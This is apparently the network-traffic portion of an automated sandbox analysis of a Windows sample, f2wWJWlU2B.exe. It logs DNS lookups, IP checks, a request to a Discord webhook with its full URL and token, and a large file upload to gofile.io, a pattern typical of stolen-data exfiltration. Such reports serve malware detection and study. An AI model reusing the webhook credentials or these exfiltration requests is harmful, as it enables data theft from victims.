Apr 4, 2023 16:42:52.850934982 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:52.851062059 CEST	443	49699	51.38.43.18	192.168.2.5
Apr 4, 2023 16:42:52.851130009 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:52.851979971 CEST	49699	443	192.168.2.5	51.38.43.18
Apr 4, 2023 16:42:53.865647078 CEST	80	49695	208.95.112.1	192.168.2.5
Apr 4, 2023 16:42:53.865717888 CEST	49695	80	192.168.2.5	208.95.112.1
Apr 4, 2023 16:43:05.474395037 CEST	80	49695	208.95.112.1	192.168.2.5
Apr 4, 2023 16:43:15.188723087 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.188812971 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.189059019 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.190094948 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.190138102 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.341566086 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.341845989 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.345083952 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.345118046 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.345706940 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.351002932 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.351052046 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.394624949 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395164013 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395190001 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395397902 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395431042 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395510912 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395536900 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395541906 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395549059 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395622015 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395638943 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395735025 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395751953 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395852089 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395867109 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.395976067 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.395991087 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396087885 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396102905 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396212101 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396226883 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396336079 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396349907 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396440983 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396456003 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396557093 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396573067 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396680117 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396693945 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396794081 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396810055 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.396919012 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.396934986 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397041082 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397058010 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397155046 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397170067 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397274017 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397289038 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397383928 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397399902 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397500992 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397516966 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397620916 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397635937 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397738934 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397758961 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397829056 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.397839069 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.397964001 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.438729048 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.570147038 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.571106911 CEST	443	49700	31.14.70.247	192.168.2.5
Apr 4, 2023 16:43:15.571172953 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:15.571216106 CEST	49700	443	192.168.2.5	31.14.70.247
Apr 4, 2023 16:43:21.799233913 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:43:21.822175026 CEST	80	49697	104.18.114.97	192.168.2.5
Apr 4, 2023 16:43:21.900895119 CEST	49697	80	192.168.2.5	104.18.114.97
Apr 4, 2023 16:43:22.138214111 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.138293028 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.138375044 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.139146090 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.139194965 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.187633038 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.187803984 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.191766977 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.191798925 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.192224979 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.201776028 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.201826096 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.451745033 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.451848030 CEST	443	49701	104.21.44.66	192.168.2.5
Apr 4, 2023 16:43:22.452008009 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.452794075 CEST	49701	443	192.168.2.5	104.21.44.66
Apr 4, 2023 16:43:22.464898109 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.464956045 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.465070963 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.465461016 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.465478897 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.510381937 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.515944004 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.515997887 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.582237005 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.582681894 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.582727909 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.889616013 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.889710903 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.889880896 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.889899969 CEST	443	49702	162.159.130.233	192.168.2.5
Apr 4, 2023 16:43:22.891376972 CEST	49702	443	192.168.2.5	162.159.130.233
Apr 4, 2023 16:43:22.895546913 CEST	49702	443	192.168.2.5	162.159.130.233

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 4, 2023 16:42:03.591934919 CEST	58648	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:42:03.638098955 CEST	53	58648	8.8.8.8	192.168.2.5
Apr 4, 2023 16:42:04.274020910 CEST	56894	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:42:04.300074100 CEST	53	56894	8.8.8.8	192.168.2.5
Apr 4, 2023 16:42:09.742453098 CEST	50295	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:42:09.769104958 CEST	53	50295	8.8.8.8	192.168.2.5
Apr 4, 2023 16:42:11.775873899 CEST	60841	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:42:11.796736956 CEST	53	60841	8.8.8.8	192.168.2.5
Apr 4, 2023 16:42:47.471133947 CEST	60649	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:42:47.532265902 CEST	53	60649	8.8.8.8	192.168.2.5
Apr 4, 2023 16:42:47.539341927 CEST	51441	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:42:47.603952885 CEST	53	51441	8.8.8.8	192.168.2.5
Apr 4, 2023 16:43:15.144876003 CEST	49177	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:43:15.182533979 CEST	53	49177	8.8.8.8	192.168.2.5
Apr 4, 2023 16:43:21.749577999 CEST	49724	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:43:21.770349026 CEST	53	49724	8.8.8.8	192.168.2.5
Apr 4, 2023 16:43:22.006227016 CEST	61452	53	192.168.2.5	8.8.8.8
Apr 4, 2023 16:43:22.135380983 CEST	53	61452	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 4, 2023 16:42:03.591934919 CEST	192.168.2.5	8.8.8.8	0x79f3	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:04.274020910 CEST	192.168.2.5	8.8.8.8	0x2a83	Standard query (0)	discordapp.com	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:09.742453098 CEST	192.168.2.5	8.8.8.8	0xb28c	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:11.775873899 CEST	192.168.2.5	8.8.8.8	0x733a	Standard query (0)	64.89.4.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Apr 4, 2023 16:42:47.471133947 CEST	192.168.2.5	8.8.8.8	0xfbb5	Standard query (0)	apiv2.gofile.io	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:47.539341927 CEST	192.168.2.5	8.8.8.8	0xfae1	Standard query (0)	apiv2.gofile.io	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:43:15.144876003 CEST	192.168.2.5	8.8.8.8	0xa58e	Standard query (0)	store11.gofile.io	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:43:21.749577999 CEST	192.168.2.5	8.8.8.8	0xc20c	Standard query (0)	64.89.4.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Apr 4, 2023 16:43:22.006227016 CEST	192.168.2.5	8.8.8.8	0xbda3	Standard query (0)	api.mylnikov.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 4, 2023 16:42:03.638098955 CEST	8.8.8.8	192.168.2.5	0x79f3	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:04.300074100 CEST	8.8.8.8	192.168.2.5	0x2a83	No error (0)	discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:04.300074100 CEST	8.8.8.8	192.168.2.5	0x2a83	No error (0)	discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:04.300074100 CEST	8.8.8.8	192.168.2.5	0x2a83	No error (0)	discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:04.300074100 CEST	8.8.8.8	192.168.2.5	0x2a83	No error (0)	discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:04.300074100 CEST	8.8.8.8	192.168.2.5	0x2a83	No error (0)	discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:09.769104958 CEST	8.8.8.8	192.168.2.5	0xb28c	No error (0)	icanhazip.com		104.18.114.97	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:09.769104958 CEST	8.8.8.8	192.168.2.5	0xb28c	No error (0)	icanhazip.com		104.18.115.97	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:11.796736956 CEST	8.8.8.8	192.168.2.5	0x733a	Name error (3)	64.89.4.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Apr 4, 2023 16:42:47.532265902 CEST	8.8.8.8	192.168.2.5	0xfbb5	No error (0)	apiv2.gofile.io	gofile.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 4, 2023 16:42:47.532265902 CEST	8.8.8.8	192.168.2.5	0xfbb5	No error (0)	gofile.io		51.38.43.18	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:47.532265902 CEST	8.8.8.8	192.168.2.5	0xfbb5	No error (0)	gofile.io		151.80.29.83	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:47.532265902 CEST	8.8.8.8	192.168.2.5	0xfbb5	No error (0)	gofile.io		51.178.66.33	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:47.603952885 CEST	8.8.8.8	192.168.2.5	0xfae1	No error (0)	apiv2.gofile.io	gofile.io		CNAME (Canonical name)	IN (0x0001)	false
Apr 4, 2023 16:42:47.603952885 CEST	8.8.8.8	192.168.2.5	0xfae1	No error (0)	gofile.io		151.80.29.83	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:47.603952885 CEST	8.8.8.8	192.168.2.5	0xfae1	No error (0)	gofile.io		51.38.43.18	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:42:47.603952885 CEST	8.8.8.8	192.168.2.5	0xfae1	No error (0)	gofile.io		51.178.66.33	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:43:15.182533979 CEST	8.8.8.8	192.168.2.5	0xa58e	No error (0)	store11.gofile.io		31.14.70.247	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:43:21.770349026 CEST	8.8.8.8	192.168.2.5	0xc20c	Name error (3)	64.89.4.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Apr 4, 2023 16:43:22.135380983 CEST	8.8.8.8	192.168.2.5	0xbda3	No error (0)	api.mylnikov.org		104.21.44.66	A (IP address)	IN (0x0001)	false
Apr 4, 2023 16:43:22.135380983 CEST	8.8.8.8	192.168.2.5	0xbda3	No error (0)	api.mylnikov.org		172.67.196.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discordapp.com

apiv2.gofile.io

store11.gofile.io

api.mylnikov.org

ip-api.com

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49696	162.159.130.233	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49699	51.38.43.18	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49700	31.14.70.247	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49701	104.21.44.66	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49702	162.159.130.233	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49695	208.95.112.1	80	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
Apr 4, 2023 16:42:03.707691908 CEST	93	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Apr 4, 2023 16:42:03.745585918 CEST	94	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:42:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true
Apr 4, 2023 16:42:13.926948071 CEST	102	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com
Apr 4, 2023 16:42:13.965194941 CEST	102	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:42:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 49 X-Rl: 43 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49697	104.18.114.97	80	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
Apr 4, 2023 16:42:09.833792925 CEST	101	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Apr 4, 2023 16:42:09.856940031 CEST	102	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:42:09 GMT Content-Type: text/plain Content-Length: 15 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=SdRyu3mp4QYckWuRmafVE9WN3WFC1rXvxOLJAQrHi90-1680619329-0-AbO8xBzmq8Bpqs6i6KGTQXixP3GLaEF1J4OwAAXQ8wkjNOLnWLk2GZzYF5hve9n/OXdo8A2i79cfSpRBMV8G7Wc=; path=/; expires=Tue, 04-Apr-23 15:12:09 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 7b2a50fb8d0f2beb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 0a Data Ascii: 102.129.143.44
Apr 4, 2023 16:42:38.102708101 CEST	117	OUT	GET / HTTP/1.1 Host: icanhazip.com
Apr 4, 2023 16:42:38.125606060 CEST	118	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:42:38 GMT Content-Type: text/plain Content-Length: 15 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=_opLz9CxeRy7bpFbBD2HkgYwZY10I2zGUORqIgwZUa8-1680619358-0-Ac6QOqkTgZIxQEepECTLD3ZjD96OAynd2wMrn8HKtFD7Vgy/8d1nAVdVqI1bxgaAkm+D7cScWAZoo4YOwAkB72w=; path=/; expires=Tue, 04-Apr-23 15:12:38 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 7b2a51ac3bef2beb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 0a Data Ascii: 102.129.143.44
Apr 4, 2023 16:43:21.799233913 CEST	307	OUT	GET / HTTP/1.1 Host: icanhazip.com
Apr 4, 2023 16:43:21.822175026 CEST	307	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:43:21 GMT Content-Type: text/plain Content-Length: 15 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=vnM6Q8FU6AFFqva8nISwUYDj_hAnf20aTdi.TQADel4-1680619401-0-AcnEWTOpbiTuJAqo9QL55WPyOWJ69vKfpmDLz1KZjzchEusuRuGTeuvRMDO6bCDO6aWvMtgS3swPCrZBvHGJ+M0=; path=/; expires=Tue, 04-Apr-23 15:13:21 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 7b2a52bd4f5d2beb-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 34 0a Data Ascii: 102.129.143.44

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49696	162.159.130.233	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-04 14:42:04 UTC	0	OUT	GET /api/webhooks/1084783843615178843/A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9UYcu6 HTTP/1.1 Host: discordapp.com Connection: Keep-Alive
2023-04-04 14:42:04 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 04 Apr 2023 14:42:04 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close set-cookie: __dcfduid=de0d367ad2f611ed8b2d8aa2f4c949ab; Expires=Sun, 02-Apr-2028 14:42:04 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ strict-transport-security: max-age=31536000; includeSubDomains Via: 1.1 google Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 CF-Cache-Status: MISS Last-Modified: Tue, 04 Apr 2023 14:42:04 GMT Expires: Tue, 04 Apr 2023 18:42:04 GMT Cache-Control: public, max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GK8gxY2hWGZck4D%2FgK%2F1b0pe8c29V%2FB7oYz0MZzlL%2F%2Fos6ilY4DvH%2FCr5Fd%2FtmdYKOp9bXoJzlbIJ2ZzS6nmBusCuU2RUQsM18xk9PUxG2eYhgTG6wFI%2BrY7u42rDyRX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Set-Cookie: __sdcfduid=de0d367ad2f611ed8b2d8aa2f4c949abac821290043372a6906052954214a6260ef6c80efcd5e1ac4d47b076c702661e; Expires=Sun, 02-Apr-2028 14:42:04 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/ Set-Cookie: __cf_bm=h7_lgVWRoLuce1G7bpNYSWHxpp_7lpNG0P6BDStNkkc-1680619324-0-AbTjvBHSPZdZwGa/8pvYiw8Vyte7zyLGKQ3MREFOO7JcBtfuUesscCQgSzOe/BCTMRQQdwLuNLXoafpjvW/ynLY=; path=/; expires=Tue, 04-Apr-23 15:12:04 GMT; domain=.discordapp.com; HttpOnly; Secure
2023-04-04 14:42:04 UTC	1	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 72 75 69 64 3d 38 61 39 63 63 63 66 30 32 66 61 37 39 34 33 30 62 61 31 30 34 62 32 36 64 63 36 65 66 37 61 39 36 64 32 37 65 31 66 36 2d 31 36 38 30 36 31 39 33 32 34 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 37 62 32 61 35 30 64 62 30 38 32 37 39 61 30 36 2d 46 52 41 0d 0a 0d 0a Data Ascii: Set-Cookie: __cfruid=8a9cccf02fa79430ba104b26dc6ef7a96d27e1f6-1680619324; path=/; domain=.discordapp.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 7b2a50db08279a06-FRA
2023-04-04 14:42:04 UTC	1	IN	Data Raw: 31 30 31 0d 0a 7b 22 74 79 70 65 22 3a 20 31 2c 20 22 69 64 22 3a 20 22 31 30 38 34 37 38 33 38 34 33 36 31 35 31 37 38 38 34 33 22 2c 20 22 6e 61 6d 65 22 3a 20 22 43 61 70 74 61 69 6e 20 48 6f 6f 6b 22 2c 20 22 61 76 61 74 61 72 22 3a 20 6e 75 6c 6c 2c 20 22 63 68 61 6e 6e 65 6c 5f 69 64 22 3a 20 22 31 30 37 36 35 33 30 39 38 39 31 39 32 34 35 30 31 30 39 22 2c 20 22 67 75 69 6c 64 5f 69 64 22 3a 20 22 31 30 37 36 35 33 30 39 38 38 37 34 37 38 36 32 30 35 36 22 2c 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 5f 69 64 22 3a 20 6e 75 6c 6c 2c 20 22 74 6f 6b 65 6e 22 3a 20 22 41 33 31 66 52 49 39 52 51 5a 44 4e 68 4c 37 6f 50 2d 77 77 31 36 75 78 57 4a 6c 6f 33 72 74 42 48 66 39 38 76 75 69 4b 30 42 43 6b 56 43 35 55 53 67 34 49 41 75 4b 65 47 67 5f 55 45 5f 39 Data Ascii: 101{"type": 1, "id": "1084783843615178843", "name": "Captain Hook", "avatar": null, "channel_id": "1076530989192450109", "guild_id": "1076530988747862056", "application_id": null, "token": "A31fRI9RQZDNhL7oP-ww16uxWJlo3rtBHf98vuiK0BCkVC5USg4IAuKeGg_UE_9
2023-04-04 14:42:04 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49699	51.38.43.18	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-04 14:42:47 UTC	1	OUT	GET /getServer HTTP/1.1 Host: apiv2.gofile.io Connection: Keep-Alive
2023-04-04 14:42:52 UTC	1	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE, HEAD Access-Control-Allow-Origin: * Content-Length: 43 Content-Security-Policy: default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Content-Type: application/json; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: cross-origin Date: Tue, 04 Apr 2023 14:42:52 GMT Etag: W/"2b-olw4rIvwmnJlbODeFwIA1kIXP7U" Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Connection: close
2023-04-04 14:42:52 UTC	3	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 61 74 61 22 3a 7b 22 73 65 72 76 65 72 22 3a 22 73 74 6f 72 65 31 31 22 7d 7d Data Ascii: {"status":"ok","data":{"server":"store11"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49700	31.14.70.247	443	C:\Users\user\Desktop\f2wWJWlU2B.exe

Timestamp	kBytes transferred	Direction	Data
2023-04-04 14:43:15 UTC	3	OUT	POST /uploadFile HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db352bae7582a8 Host: store11.gofile.io Content-Length: 176096 Expect: 100-continue Connection: Keep-Alive
2023-04-04 14:43:15 UTC	3	IN	HTTP/1.1 100 Continue
